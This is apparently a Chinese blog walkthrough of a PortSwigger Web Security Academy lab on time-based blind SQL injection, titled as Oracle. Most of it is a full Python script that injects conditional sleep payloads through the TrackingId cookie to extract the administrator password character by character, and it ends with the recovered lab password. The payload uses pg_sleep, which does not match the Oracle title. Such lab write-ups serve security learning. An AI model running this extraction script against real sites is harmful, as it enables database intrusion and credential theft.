首页 > 数据库 >burpsuite靶场----SQL注入15----oracle的时间盲注

burpsuite靶场----SQL注入15----oracle的时间盲注

时间:2023-08-18 19:01:07浏览次数:62  
标签:15 burpsuite ---- sleep time print zh 盲注

burpsuite靶场----SQL注入15----oracle的时间盲注

靶场地址

https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval

正式开始

这个和之前的oracle的布尔盲注差不多
https://www.cnblogs.com/thebeastofwar/p/17640741.html
稍微改一下脚本,因为这个是https的,所以延迟时间最好长一些,以获得较为准确的数据
payload部分
payload="'||(select case when (username='administrator' and substr(password,{},1)='{}') then pg_sleep(2) else pg_sleep(0) end from users)--".format(str(num),i)

import requests
import urllib3
import time
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url = 'https://0a660029041f82548060cb95000c0033.web-security-academy.net'
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Upgrade-Insecure-Requests': '1',
    'Sec-Fetch-Dest': 'document',
    'Sec-Fetch-Mode': 'navigate',
    'Sec-Fetch-Site': 'same-origin',
    'Sec-Fetch-User': '?1',
    'Te': 'trailers'
}
dict='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ#'
num=1
flag=''
while True:
    for i in dict:
        print(i)
        if i=='#':
            break
        payload="'||(select case when (username='administrator' and substr(password,{},1)='{}') then pg_sleep(10) else pg_sleep(0) end from users)--".format(str(num),i)
        cookies={'TrackingId':'BU622TbcJXbso7Ww'+payload,'session':'3woEmftDu9hFUPzEt7girIRPW5D8eICf'}
        print(cookies['TrackingId'])
        start=time.time()
        response = requests.get(url,headers=headers,cookies=cookies,verify=False)
        end=time.time()
        diff=end-start
        if diff>=10:
            print('good')
            flag+=i
            num+=1
            break
        print(flag)
    if i=='#':
        break
print('成功获取密码:'+flag)


administrator xshsvj8t64hjll8spjfe 登录

标签:15,burpsuite,----,sleep,time,print,zh,盲注
From: https://www.cnblogs.com/thebeastofwar/p/17641379.html

相关文章

  • 基于Python的招聘网站爬虫及可视化的实现-计算机毕业设计源码+LW文档
    开发语言:Python框架:flaskPython版本:python3.7.7数据库:mysql5.7(一定要5.7版本)数据库工具:Navicat11开发软件:PyCharm浏览器:谷歌浏览器DROPTABLEIFEXISTSa6woc_zhaopinxinxi;/*!40101SET@saved_cs_client=@@character_set_client/;/!40101SETcharacter_set_cli......
  • 阿里云OSS图片上传和显示注意点
    1.java.lang.IllegalArgumentException:Theobjectkey"/image-业务名称/20230818/20230818-订单号参数-accident.jpg"isinvalid.Anobjectnameshouldbebetween1-1023byteslongwhenencodedasUTF-8andcannotcontainLForCRorunsupportedcharsinX......
  • 用C语言做一个菱形图案
    如何来完成一个菱形图案的打印呢?首先我们把它简单的看成两个三角组成的图案,分为上下两部分,我们先来完成上半部分,首先肯定是一行一行来打印,为了后期维护方便我们用循环来完成,我们输入几行就打印几行。那一行由什么组成的呢?是用空格和星号来组成的,我们先来第一步打印空格,我们经过发现......
  • python pip国内镜像源使用
    清华:https://pypi.tuna.tsinghua.edu.cn/simple阿里云:http://mirrors.aliyun.com/pypi/simple/中国科技大学 https://pypi.mirrors.ustc.edu.cn/simple/华中理工大学:http://pypi.hustunique.com/山东理工大学:http://pypi.sdutlinux.org/豆瓣:http://pypi.douban.com/simple/......
  • shell命令-补充
    1.whilewhilereadline 实现输出符合要求的行2.case基本结构进阶:在case外套用while实现循环输出实现简易计算器:3.grep作用Linux系统中grep命令是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹配的行打印出来。grep全称是GlobalRegularExpressionPrin......
  • kafka——命令备份——docker 启动
    dockerrun-d\--namezookeeper\-p2181:2181\-eZOOKEEPER_CLIENT_PORT=2181\confluentinc/cp-zookeeperdockerrun-d\--namekafka\-p9092:9092\-eKAFKA_ADVERTISED_LISTENERS=PLAINTEXT://192.168.1.100:9092\......
  • 对象池
    privateDictionary<string,List<GameObject>>pool=newDictionary<string,List<GameObject>>();//对象池privateDictionary<string,List<int>>poolId=newDictionary<string,List<int>>();//对象池对应Id......
  • 单例
    /**FileName:MonoSingleton.cs*Author:AUTHOR*Date:2023/08/1513:12:41*UnityVersion:2021.3.15f1c1*Description:*/usingSystem.Collections;usingSystem.Collections.Generic;usingUnityEngine;///<summary>///Mono单例类///<......
  • 河南省几个大学的中文名称 英文名称及其简称
    1.河南大学-HenanUniversity(HNU)2.河南师范大学-HenanNormalUniversity(HNU)3.河南理工大学-HenanPolytechnicUniversity(HPU)4.河南工业大学-HenanUniversityofTechnology(HAUT)5.河南科技大学-HenanUniversityofScienceandTechnology(HAUST)6......
  • iwebsec-sql注入 02 字符型注入
    01、题目分析正常来讲的字符型的sql注入,sql语句如下select * from news where id='$id';像这种就可以在注入的传参后面加上一个单引号,然后联合sql语句最后加上注释符--+就行,但是这个网站不行,因为在这个靶场的字符型注入的中的源代码,加入了宽字节过滤,所以正常的字符型注......